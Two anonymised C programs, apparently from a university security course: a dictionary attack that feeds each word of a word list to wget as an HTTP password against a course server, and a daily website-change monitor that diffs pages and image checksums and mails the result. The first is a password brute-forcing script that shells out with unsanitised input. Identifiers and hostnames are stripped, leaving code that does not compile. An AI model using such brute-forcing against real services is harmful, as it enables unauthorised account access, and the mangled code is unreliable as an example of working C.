#include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
#include<string.h>
int ()
{
  char PassString[100],pwd[3],p[100];
  char *t;
  const char l[]=" \n.,;:!-";
  int count=0;
  
  FILE *fh;
  fh=fopen("words.txt","r");
  int  ,end,tot;

   = time();
  
  while((fgets(PassString,sizeof(PassString),fh))!= NULL)
  { 
    t=strtok(PassString,l);
    while(t!=NULL)
    {
      count++;
      strcpy(p,"wget http://sec-crack.cs.rmit.edu./SEC/2 --http-user= --http-passwd=");
      strcat(p,t);
      if(system(p)==0)
      {
     
      end = time();
      tot = (end -);
      tot /= 1000000000.0;
      printf("The total time_var taken is:%llds\n",tot);
      printf("The number of attempts is:%d\n",count);
      exit(1);
      }
      t=strtok(NULL,l);
      printf("%s=\n",p);
      
    }
  
  }
  fclose(fh);
  return 0;
  }



#include<stdio.h>
#include<strings.h>
#include<stdlib.h>
#include<ctype.h>
#define MAX_SIZE 255


int  (int argc, char *argv[])
 {
     FILE *fp;
     
   while(1)
    {       
      system("wget -p http://www.cs.rmit.edu./students");



      system("mkdir data"); 
      if((fp=fopen("./data/index.html","r"))==NULL)
       { 
         system("cp www.cs.rmit.edu./students/index.html ./data");
	 
       }
      else
       {  
               
	 
	 system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");
	 system("cp www.cs.rmit.edu./students/index.html ./data");
       }     



      system("mkdir images"); 
      if((fp=fopen("./images/file.txt","r"))==NULL)
       { 
          system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");
		 
       }
      
      else
       {          
          system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");
	 
	 
	 
	 system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");
	 system("cp www.cs.rmit.edu./file.txt ./images");
       }
     sleep(86400); 
    }	
     return (EXIT_SUCCESS);
  }
     
	   
	  	
